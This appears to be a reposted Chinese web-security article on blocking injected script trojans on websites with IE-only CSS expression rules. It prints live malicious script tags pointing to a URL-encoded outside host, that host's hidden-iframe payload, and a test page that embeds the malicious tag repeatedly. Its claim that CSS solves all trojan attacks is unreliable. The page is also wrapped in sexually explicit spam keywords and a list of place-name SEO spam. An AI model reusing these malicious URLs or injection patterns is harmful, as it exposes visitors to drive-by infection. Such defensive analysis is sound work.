国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 網(wǎng)站 > 網(wǎng)站安全 > 正文

解決全部網(wǎng)頁木馬的技巧

2024-09-06 18:38:35
字體:
供稿:網(wǎng)友

還是掛馬問題,這段時間,我漸漸感到壓力,頭大,通過qq或msn加我的人越來越多,我最近自己的工作本來就忙得不亦樂乎。哎,想想,還是要抽空來來幫幫大家。

前不久《一行代碼解決iframe掛馬(包含服務(wù)器端注入、客戶端arp注入等)》得到了很多朋友的認(rèn)可,這確實是個避避風(fēng)雨的好辦法。可現(xiàn)在掛網(wǎng)馬的方式真如我所料地改變了,現(xiàn)在流行掛<script>木馬,汗了,看了幾個網(wǎng)友的網(wǎng)站都被這樣了——頁面的頂部或底部加上了:

注意,以下地址含有木馬,請不要輕易訪問:

<script src=http://%76%63%63%64%2e%63%6e></script>
<script src=http://%76%63%63%64%2e%63%6e></script>
<script src=http://%76%63%63%64%2e%63%6e></script>
<script src=http://%76%63%63%64%2e%63%6e></script>
<script src=http://%76%63%63%64%2e%63%6e></script>
<script src=http://%76%63%63%64%2e%63%6e></script>
<script src=http://%76%63%63%64%2e%63%6e></script>
<script src=http://%76%63%63%64%2e%63%6e></script>

汗死,一連插入了n個一樣的<script>標(biāo)記。偶的電腦什么補丁都打了,直接訪問這個http://%76%63%63%64%2e%63%6e(或直接使用迅雷下載),額~ 現(xiàn)形了:

document.write("<div style='display:none'>")
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")
document.write("</div>")

又用迅雷下載http://a.158dm.com/b1.htm這個文件,一看,亂七八糟的js編碼,汗,不過找到了一個類似qq號的數(shù)字,直接加加看,汗,然后是專業(yè)提供網(wǎng)馬的組織,哎,什么世道。還收費蠻高滴呢!

...
var kfqq, qqs="[color=magenta]784378237[/color]"; qwfgsg="llll//xxxxxld"; kfqq = qqs;
(...略)(下面還有n個統(tǒng)計的js代碼)

針對上面的情況,我也不能白白瞧著不管,想想辦法吧,兄弟。喝了碗綠豆粥,糖放得蠻多的,好喝。辦法想到了。稍微分析就得出了答案。大家來看看,<script>木馬的特點是什么:

<script src=http://%76%63%63%64%2e%63%6e></script>

對了,script木馬的src一般都是外域的,也就是src是以http打頭的,如果是自己網(wǎng)站的script一般都不用加上http;再看看木馬的原形,里面還是輸出的iframe、js代碼或是其他<object>代碼,不管這么多,來多少殺多少。

來跟我寫css,一一搞定它們,我寫了5種不同的方案,大家來測試一下哈:

解決方案1

iframe{n1ifm:expression(this.src='about:blank',this.outerhtml='');}/*這行代碼是解決掛iframe木馬的哦*/
script{nojs1:expression((this.src.tolowercase().indexof('http')==0)?document.write('木馬被成功隔離!'):'');}

原理:將<script>標(biāo)記的src拿出來轉(zhuǎn)為小寫,再看是不是以“http”開頭的外域js腳本文件,如果是,則頁面內(nèi)容清空并寫出“木馬被成功隔離!”。反之正常顯示。

缺點:訪客無法看到被感染了<script>木馬的頁面。

解決方案2

iframe{nifm2:expression(this.src='about:blank',this.outerhtml='');}
script{no2js:expression((this.src.tolowercase().indexof('http')==0)?document.close():'');}

原理:將外域的js文件的document.write()使用document.close()強制關(guān)閉。木馬內(nèi)容還沒有來得及寫完,只有部分被強制緩存輸出了,剩下的不會再寫了。

|||

解決方案3

iframe{ni3fm:expression(this.src='about:blank',this.outerhtml='');}
script{n3ojs:expression((this.src.tolowercase().indexof('http')==0)?document.execcommand('stop'):'');}

原理:同到外域的js文件,立即調(diào)用ie私有的execcommand方法來停止頁面所有請求,所以接下來的外域js文件也被強制停止下載了。就像我們點了瀏覽器的“停止”按鈕一樣。看來這是js模擬ie停止按鈕的一種方法。

解決方案4

iframe{nif4m:expression(this.src='about:blank',this.outerhtml='');}
script{noj4s:expression(if(this.src.indexof('http')==0)this.src='res://ieframe.dll/dnserror.htm');}

原理:將外域的js文件的src重寫成本地ie404錯誤頁面的地址,這樣,外域的js代碼不會下載。

解決方案5:

iframe{nifm5:expression(this.src='about:blank',this.outerhtml='');}
script{noj5s:expression((this.id.tolowercase().indexof('lh')==0)?document.write('木馬被成功隔離!'):''));}

第五種方案的頁面html源代碼<script>中要加入以"lh"為前綴的id,如lhweatherjsapi,<script src="***/**.js" id="lhsearchjsapi"></script> 

以下頁面代碼里含有一個木馬地址,而且木馬在頁面里重復(fù)了6次,大家分別用我上面的不同方案測試一下,看看我的研究如何!(此測試有一定的危險性,請務(wù)必打好所有補丁再測試)

<!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>讓js木馬的進(jìn)程迅速中止的css代碼</title>
<style type="text/css" id="linrstudio">
/*<![cdata[*/
iframe{nhk1:expression(this.src='about:blank',this.outerhtml='');}
script{ngz1:expression((this.src.indexof('http')==0)?document.close():'');}
/* 以后請在此關(guān)注最新木馬處理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
</style>
</head>
<body>
<script type="text/javascript" src="1.js"></script>
<script src=http://%76%63%63%64%2e%63%6e></script>
<script src="http://%76%63%63%64%2e%63%6e" type="text/javascript"></script>
<script src=http://%76%63%63%64%2e%63%6e></script>
我是頁面本身的1
<script src=http://%76%63%63%64%2e%63%6e></script>
我是頁面本身的2
<script src=http://%76%63%63%64%2e%63%6e></script>
我是頁面本身的3
<script src=http://%76%63%63%64%2e%63%6e></script>
</body>
</html>

其中1.js是自己本站的:

document.write("我是本站的js文件");
document.write("<img src='http://www.baidu.com/images/logo.gif' />");

我的測試環(huán)境是:

windows xp sp2 和windows vista sp1
ie6/ie7/ie8
已全部打好補丁。

綜上所述,所有目前的掛馬方式全都破解了,用css就可以解決所有木馬問題,訪客不會再輕易地中毒了。

大家也要仔細(xì)研究一下,看看我的代碼有什么bug,有的話一定要拿出來討論,好解決問題!或是各位有其他更好的辦法可以拿出來討論一下。

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 曲阳县| 正蓝旗| 郎溪县| 宣汉县| 娱乐| 清苑县| 济阳县| 德惠市| 博罗县| 永平县| 赣州市| 石城县| 外汇| 香港| 澄江县| 北安市| 南和县| 肥乡县| 阜新| 长宁县| 弋阳县| 涿州市| 阜阳市| 宁陕县| 阿城市| 河源市| 大英县| 乌鲁木齐县| 城口县| 会泽县| SHOW| 宜兰市| 沙雅县| 青岛市| 巨野县| 衢州市| 卓尼县| 五莲县| 房山区| 兰考县| 贵阳市|